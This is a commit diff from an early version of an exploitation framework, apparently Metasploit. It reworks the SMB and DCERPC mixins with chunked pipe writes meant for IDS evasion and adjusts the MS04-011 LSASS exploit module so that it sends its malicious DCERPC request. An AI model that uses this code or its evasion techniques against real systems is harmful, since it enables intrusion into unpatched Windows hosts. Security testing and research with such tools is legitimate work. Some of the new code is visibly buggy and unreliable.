SMB mixin is mostly working now
git-svn-id: file:///home/svn/incoming/trunk@3037 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
d1e492c8ff
commit
3150bd2f3a
|
@ -24,8 +24,8 @@ module Exploit::Remote::DCERPC
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('DCEFragSize', [ 1, 'Set the DCERPC packet fragmentation size', 127]),
|
||||
OptBool.new('DCEMultiBind', [ 0, 'Use multi-context bind calls', 'T' ])
|
||||
OptInt.new('DCEFragSize', [ true, 'Set the DCERPC packet fragmentation size', 127]),
|
||||
OptBool.new('DCEMultiBind', [ false, 'Use multi-context bind calls', 'True' ])
|
||||
], Msf::Exploit::Remote::DCERPC)
|
||||
|
||||
register_options(
|
||||
|
@ -91,14 +91,13 @@ module Exploit::Remote::DCERPC
|
|||
#
|
||||
def dcerpc_make_bind (uuid, vers = nil)
|
||||
# Resolve the UUID if only the name was supplied
|
||||
if (vers == nil)
|
||||
if (vers.nil?)
|
||||
vers = DCERPCUUID.vers_by_name(uuid)
|
||||
uuid = DCERPCUUID.uuid_by_name(uuid)
|
||||
end
|
||||
|
||||
|
||||
# Verify that the uuid was resolved and is valid
|
||||
if (uuid == nil)
|
||||
if (uuid.nil?)
|
||||
print_status("Invalid UUID")
|
||||
return
|
||||
end
|
||||
|
|
|
@ -18,18 +18,32 @@ module Exploit::Remote::SMB
|
|||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
|
||||
# Alias over the Rex DCERPC protocol modules
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('SMBPipeWriteMinSize', [ true, 'Minimum buffer size for pipe writes', 512]),
|
||||
OptInt.new('SMBPipeWriteMaxSize', [ true, 'Maximum buffer size for pipe writes', 512]),
|
||||
OptInt.new('SMBPipeReadMinSize', [ true, 'Minimum buffer size for pipe reads', 512]),
|
||||
OptInt.new('SMBPipeReadMaxSize', [ true, 'Maximum buffer size for pipe reads', 512]),
|
||||
], Msf::Exploit::Remote::SMB)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
OptInt.new('RPORT', [ 1, 'Set the SMB service port', 445]),
|
||||
OptBool.new('SMBDirect', [ 1, 'The target port is a raw SMB service (not NetBIOS)', 'T' ]),
|
||||
OptString.new('SMBUSER', [ 0, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPASS', [ 0, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDOM', [ 0, 'The Windows domain to use for authentication', 'WORKGROUP']),
|
||||
OptString.new('SMBNAME', [ 1, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER'])
|
||||
OptInt.new('RPORT', [ true, 'Set the SMB service port', 445]),
|
||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', 'True' ]),
|
||||
OptString.new('SMBUSER', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPASS', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDOM', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']),
|
||||
OptString.new('SMBNAME', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER'])
|
||||
|
||||
], Msf::Exploit::Remote::SMB)
|
||||
end
|
||||
|
@ -43,6 +57,8 @@ module Exploit::Remote::SMB
|
|||
datastore['SMBPASS'],
|
||||
datastore['SMBDOM']
|
||||
)
|
||||
|
||||
simple.connect('IPC$')
|
||||
end
|
||||
|
||||
def smb_peer_os
|
||||
|
@ -57,14 +73,81 @@ module Exploit::Remote::SMB
|
|||
self.simple.create_pipe(pipe)
|
||||
end
|
||||
|
||||
def smb_dcerpc_bind(fid, uuid, vers = '')
|
||||
def smb_dcerpc_bind(fid, uuid, vers = nil)
|
||||
|
||||
# Create the bind request
|
||||
bind, ctx = dcerpc_make_bind(uuid, vers)
|
||||
if (bind == nil)
|
||||
return
|
||||
end
|
||||
|
||||
data = smb_pipe_transaction(fid, bind)
|
||||
return DCERPCResponse.new(data) if data.length > 0
|
||||
end
|
||||
|
||||
def smb_dcerpc_call(fid, func, stub = '')
|
||||
# Create the request packets
|
||||
pkts = dcerpc_make_call(func, stub)
|
||||
if (pkts == nil)
|
||||
return
|
||||
end
|
||||
|
||||
# Verify that the socket exists
|
||||
if (sock == nil)
|
||||
return
|
||||
end
|
||||
|
||||
data = ''
|
||||
print_status("Sending " + pkts.size.to_s + " DCERPC fragments...")
|
||||
pkts.each { |chunk|
|
||||
data << smb_pipe_transaction(fid, stub)
|
||||
}
|
||||
|
||||
return DCERPCResponse.new(data) if data.length > 0
|
||||
end
|
||||
|
||||
def smb_pipe_transaction(fid, request)
|
||||
|
||||
# Evasion techniques:
|
||||
# 1) Write the bind out a few bytes at a time with a random offset
|
||||
# 2) Read the response back a few bytes at a time with a random offset
|
||||
|
||||
pipe_write_min = datastore['SMBPipeWriteMinSize']
|
||||
pipe_write_max = datastore['SMBPipeWriteMaxSize']
|
||||
pipe_read_min = datastore['SMBPipeReadMinSize']
|
||||
pipe_read_max = datastore['SMBPipeReadMaxSize']
|
||||
|
||||
|
||||
if (pipe_write_min > pipe_write_max)
|
||||
pipe_write_min = pipe_write_max
|
||||
end
|
||||
|
||||
if (pipe_read_min > pipe_read_max)
|
||||
pipe_read_min = pipe_read_max
|
||||
end
|
||||
|
||||
# Write the request out in random chunk sizes
|
||||
while (request.length > 0)
|
||||
wsize = rand(pipe_write_max - pipe_write_min) + pipe_write_min
|
||||
fid.write( request.slice!(0, wsize), rand(1024)+1 )
|
||||
end
|
||||
|
||||
data = ''
|
||||
# Read the response back a few bytes a time
|
||||
begin
|
||||
while(true)
|
||||
rsize = rand(pipe_read_max - pipe_read_min) + pipe_read_min
|
||||
t = (fid.read(rsize, rand(1024)+1))
|
||||
last if ! t.length
|
||||
data << t
|
||||
end
|
||||
rescue XCEPT::NoReply
|
||||
end
|
||||
|
||||
return data
|
||||
end
|
||||
|
||||
attr_accessor :simple
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -162,10 +162,10 @@ class OptBool < OptBase
|
|||
end
|
||||
|
||||
def normalize(value)
|
||||
if (value.match(TrueRegex) != nil)
|
||||
true
|
||||
else
|
||||
if(value.nil? or value.match(TrueRegex).nil?)
|
||||
false
|
||||
else
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -33,6 +33,7 @@ class UUID
|
|||
# Convert a UUID in string format to the binary representation
|
||||
def self.uuid_pack (uuid_str)
|
||||
parts = uuid_str.split('-')
|
||||
raise ArgumentError if parts.length != 5
|
||||
[ parts[0].hex, parts[1].hex, parts[2].hex, parts[3].hex ].pack('Vvvn') + [ parts[4] ].pack('H*')
|
||||
end
|
||||
|
||||
|
|
|
@ -274,12 +274,19 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
# Process incoming SMB_COM_CREATE_ANDX packets
|
||||
def smb_parse_create(pkt, data)
|
||||
|
||||
# Windows says 42, but Samba says 34, same structure :-/
|
||||
if (pkt['Payload']['SMB'].v['WordCount'] == 42)
|
||||
res = CONST::SMB_CREATE_RES_PKT.make_struct
|
||||
res.from_s(data)
|
||||
return res
|
||||
end
|
||||
|
||||
|
||||
if (pkt['Payload']['SMB'].v['WordCount'] == 34)
|
||||
res = CONST::SMB_CREATE_RES_PKT.make_struct
|
||||
res.from_s(data)
|
||||
return res
|
||||
end
|
||||
|
||||
# Process SMB error responses
|
||||
if (pkt['Payload']['SMB'].v['WordCount'] == 0)
|
||||
return pkt
|
||||
|
@ -583,6 +590,7 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
||||
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
self.default_domain = info[2]
|
||||
|
|
|
@ -194,7 +194,8 @@ SMB_SETUP_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new(
|
|||
[ 'uint8', 'Reserved1', 0 ],
|
||||
[ 'uint16v', 'AndXOffset', 0 ],
|
||||
[ 'uint16v', 'Action', 0 ],
|
||||
[ 'uint16v', 'SecurityBlobLen', 0 ],
|
||||
# Should this be commented out?
|
||||
# [ 'uint16v', 'SecurityBlobLen', 0 ],
|
||||
[ 'uint16v', 'ByteCount', 0 ],
|
||||
[ 'string', 'Payload', nil, '' ]
|
||||
).create_restraints(
|
||||
|
|
|
@ -8,7 +8,7 @@ class Exploits::Windows::MS04_011_LSASS < Msf::Exploit::Remote
|
|||
# This module exploits a vulnerability in the LSASS service
|
||||
#
|
||||
|
||||
#include Exploit::Remote::DCERPC
|
||||
include Exploit::Remote::DCERPC
|
||||
include Exploit::Remote::SMB
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -87,8 +87,6 @@ class Exploits::Windows::MS04_011_LSASS < Msf::Exploit::Remote
|
|||
#
|
||||
os = smb_peer_os
|
||||
over =''
|
||||
|
||||
p target
|
||||
|
||||
case os
|
||||
|
||||
|
@ -134,7 +132,7 @@ class Exploits::Windows::MS04_011_LSASS < Msf::Exploit::Remote
|
|||
#
|
||||
# Send the malicious DCERPC request
|
||||
#
|
||||
smb_dcerpc_call(fid, 0, stubdata)
|
||||
smb_dcerpc_call(fid, 0, over)
|
||||
|
||||
#
|
||||
# Perform any required client-side payload handling
|
||||
|
|
Loading…
Reference in New Issue